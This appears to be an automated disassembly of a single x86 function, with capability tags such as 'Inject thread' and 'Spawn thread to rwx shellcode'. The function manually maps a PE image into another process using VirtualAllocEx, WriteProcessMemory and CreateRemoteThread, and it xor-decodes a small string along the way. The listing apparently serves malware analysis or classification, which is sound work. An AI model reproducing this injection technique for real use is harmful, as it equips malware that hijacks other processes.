Function at 0x423ba0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52cca0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x288
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0x40
cmovae esi, dword [ebx + 8]
cmovae ecx, dword [ebx + 8]
mov dword [ebp - 0x18], esi
push 0x3000
mov esi, dword [esi + 0x3c]
add esi, ecx
mov dword [ebp - 0x14], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
push 0
push dword [esi + 0x54]
cmovae ecx, dword [ebx + 8]
push ecx
push eax
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x423c77
add esi, 0x10c
nop dword [eax]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebx + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x20]
push ecx
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x423c40
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x298], eax
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x294], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x290], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x288], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x200
mov dword [ebp - 0x284], eax
lea eax, [ebp - 0x280]
push 0
push eax
mov dword [ebp - 0x28c], ecx
call fcn.00506f10
xorps xmm0, xmm0
mov byte [ebp - 0x50], 0x95
add esp, 0xc
mov dword [ebp - 0x3f], 0
movups xmmword [ebp - 0x4f], xmm0
mov word [ebp - 0x3b], 0
xor ecx, ecx
mov byte [ebp - 0x39], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 1
jb 0x423d10
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x4f], 0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423d42
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402c40
mov byte [ebp - 4], 1
lea edx, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
mov esi, dword [0x562b6c]
cmovae edx, dword [ebp - 0x68]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423d75
sub ecx, dword [ebp - 0x18]
mov eax, closesocket
sub eax, esi
cmp eax, ecx
jb 0x423f92
cmp dword [0x562b70], 0x10
mov eax, 0x562b5c
push ecx
cmovae eax, dword [0x562b5c]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x80]
call fcn.004946d0
push 0x565068
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 2
call fcn.0048ca40
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x28], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x423e2d
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423e23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423f97
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x423e73
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423e69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423f97
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [0x562b40], 0x10
lea eax, [ebp - 0x38]
mov ecx, 0x562b2c
cmovae ecx, dword [0x562b2c]
cmp dword [ebp - 0x24], 0x10
push ecx
cmovae eax, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x280]
push str._s_s
push eax
call fcn.00403150
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x298]
add esp, 0x10
push 0
push 0x218
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00423b90
add esi, 0x218
sub eax, 0x423a80
push eax
push 0x423a80
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x14]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x423f3d
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423f33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423f9c
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp ecx, 0x10
jb 0x423f7f
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423f75
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423f9c
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
int3